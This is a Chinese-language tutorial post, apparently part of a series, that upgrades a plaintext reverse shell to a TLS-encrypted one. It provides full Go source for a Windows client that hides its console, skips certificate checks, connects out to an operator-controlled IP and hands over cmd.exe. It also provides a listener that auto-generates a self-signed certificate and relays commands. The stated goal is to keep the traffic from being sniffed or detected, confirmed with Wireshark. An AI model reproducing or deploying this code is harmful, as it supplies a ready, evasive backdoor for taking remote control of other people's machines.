一、前言回顾
上一篇完成了明文TCP反弹Shell的编写、主机上线与流量排查,核心痛点在于:流量全程明文传输,极易被捕获、解析和检测,无任何安全性可言。
二、本篇学习目标
将基础的明文TCP反弹Shell升级为TLS加密版反弹Shell,实现流量加密传输;同时解决协议兼容问题:nc仅支持明文监听,无法处理TLS协议握手,因此需在服务端编写专用的TLS加密监听脚本。
知识点:TLS协议强制要求服务端配置证书(客户端可跳过证书验证),本实验通过代码自动生成临时自签名证书。
三、TLS加密反弹shell代码
Go
// 声明主包,Go程序的入口包
package main
// 导入依赖包
import (
"crypto/tls" // TLS加密通信库,用于和服务端建立加密连接
"os/exec" // 执行系统命令库,用于启动Windows命令行(cmd)
"syscall" // 系统调用库,用于设置Windows窗口隐藏属性
)
// 程序主入口函数
func main() {
// 定义Windows系统进程属性:隐藏黑窗口(不显示cmd控制台界面)
syscallAttr := &syscall.SysProcAttr{HideWindow: true}
// 配置TLS连接:跳过证书验证(适配服务端无证书的场景,必须加否则连接失败)
tlsConfig := &tls.Config{InsecureSkipVerify: true}
// 主动发起TLS加密连接,连接服务端的IP:3061端口
// conn:建立好的加密连接对象,err:连接错误信息
conn, err := tls.Dial("tcp", "服务端ip:3061", tlsConfig)
// 如果连接失败(服务端未启动/网络不通),直接退出程序
if err != nil {
return
}
// 程序退出时,自动关闭TLS连接(释放资源)
defer conn.Close()
// 创建Windows命令行进程:启动cmd.exe
// /q /k:静默启动cmd,保持命令行窗口不关闭
cmd := exec.Command("cmd.exe", "/q", "/k")
// 给cmd进程绑定系统属性:隐藏黑窗口
cmd.SysProcAttr = syscallAttr
// 核心:重定向cmd的输入/输出/错误流到TLS加密连接
// 服务端发送的命令 -> 作为cmd的输入
cmd.Stdin = conn
// cmd执行的结果 -> 通过加密连接返回给服务端
cmd.Stdout = conn
// cmd执行的错误信息 -> 通过加密连接返回给服务端
cmd.Stderr = conn
// 启动并等待cmd进程执行完毕(忽略错误,不做处理)
_ = cmd.Run()
}
四、服务端监听脚本
Go
// 声明程序入口包,main包是Go可执行程序的固定包名
package main
// 导入程序所需的所有依赖库
import (
"crypto/ecdsa" // ECDSA非对称加密算法,用于生成TLS私钥
"crypto/elliptic" // 椭圆曲线加密,配合ECDSA生成密钥
"crypto/rand" // 安全随机数生成器,用于加密证书
"crypto/tls" // TLS加密通信核心库,实现加密网络监听
"crypto/x509" // X.509数字证书标准,用于生成TLS证书
"crypto/x509/pkix" // X.509证书的主体信息结构
"io" // 输入输出流,用于实现数据双向转发
"log" // 日志打印,用于输出程序运行状态
"math/big" // 大整数,用于生成证书序列号
"os" // 系统标准输入输出,用于接收命令、打印结果
"time" // 时间库,用于设置证书有效期
)
// generateTempCertificate 生成【临时自签名TLS证书】
// 作用:无需证书文件,程序运行时自动生成,解决TLS服务端必须有证书的问题
func generateTempCertificate() tls.Certificate {
// 1. 生成ECDSA私钥(使用P256椭圆曲线,安全且通用)
priv, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
log.Fatal("私钥生成失败:", err) // 生成失败直接退出程序
}
// 2. 创建X.509证书模板(定义证书的所有属性)
template := x509.Certificate{
SerialNumber: big.NewInt(1), // 证书序列号(固定为1,临时证书无需唯一)
Subject: pkix.Name{ // 证书主体信息
Organization: []string{"Temp"}, // 组织名称(临时证书,随意填写)
},
NotBefore: time.Now(), // 证书生效时间:当前时间
NotAfter: time.Now().Add(24 * time.Hour), // 证书过期时间:24小时后
KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, // 证书用途:加密、签名
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, // 扩展用途:服务端认证
BasicConstraintsValid: true, // 启用基础约束
}
// 3. 根据模板生成证书数据(自签名:自己签发自己)
derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
if err != nil {
log.Fatal("证书生成失败:", err) // 生成失败直接退出程序
}
// 4. 组装并返回TLS证书(包含证书数据 + 私钥)
return tls.Certificate{
Certificate: [][]byte{derBytes}, // 证书内容
PrivateKey: priv, // 证书私钥
}
}
// main 程序主入口函数
func main() {
// 配置TLS加密参数:加载自动生成的临时证书
tlsConfig := &tls.Config{
Certificates: []tls.Certificate{generateTempCertificate()}, // 绑定自签名证书
}
// 启动TLS加密监听服务
// 监听协议:tcp,监听地址:0.0.0.0:3061(所有网卡的3061端口)
listener, err := tls.Listen("tcp", "0.0.0.0:3061", tlsConfig)
if err != nil {
log.Fatal("服务端启动失败:", err) // 启动失败(端口被占/权限不足),直接退出
}
defer listener.Close() // 程序退出时,自动关闭监听端口(释放资源)
// 打印服务端启动成功日志
log.Println("✅ TLS加密服务端启动成功,等待主机上线...")
// 无限循环:持续等待客户端连接
for {
// 阻塞等待客户端发起连接
// conn:客户端连接对象(通信通道),err:连接错误信息
conn, err := listener.Accept()
if err != nil {
continue // 连接出错(网络波动),跳过本次循环,继续等待新连接
}
// 打印客户端上线信息(IP+端口)
log.Printf("🚀 主机已上线:%s\n", conn.RemoteAddr())
// ==================== 核心:双向命令转发 ====================
// 协程异步转发:服务端控制台输入的命令 → 发送给客户端
go io.Copy(conn, os.Stdin)
// 同步转发:客户端执行的结果 → 打印到服务端控制台
io.Copy(os.Stdout, conn)
// ==========================================================
// 客户端断开连接后,打印提示日志
log.Println("⚠️ 主机已断开连接,继续等待...")
conn.Close() // 关闭客户端连接
}
}
五、客户端运行反弹shell,服务端运行加密监听,成功上线

六、在wirrshark中对流量进行分析,发现数据被加密

七、小结
-
成功将明文TCP Shell升级为TLS加密Shell,实现流量防嗅探、防解析;
-
开始实现服务端的监听优化;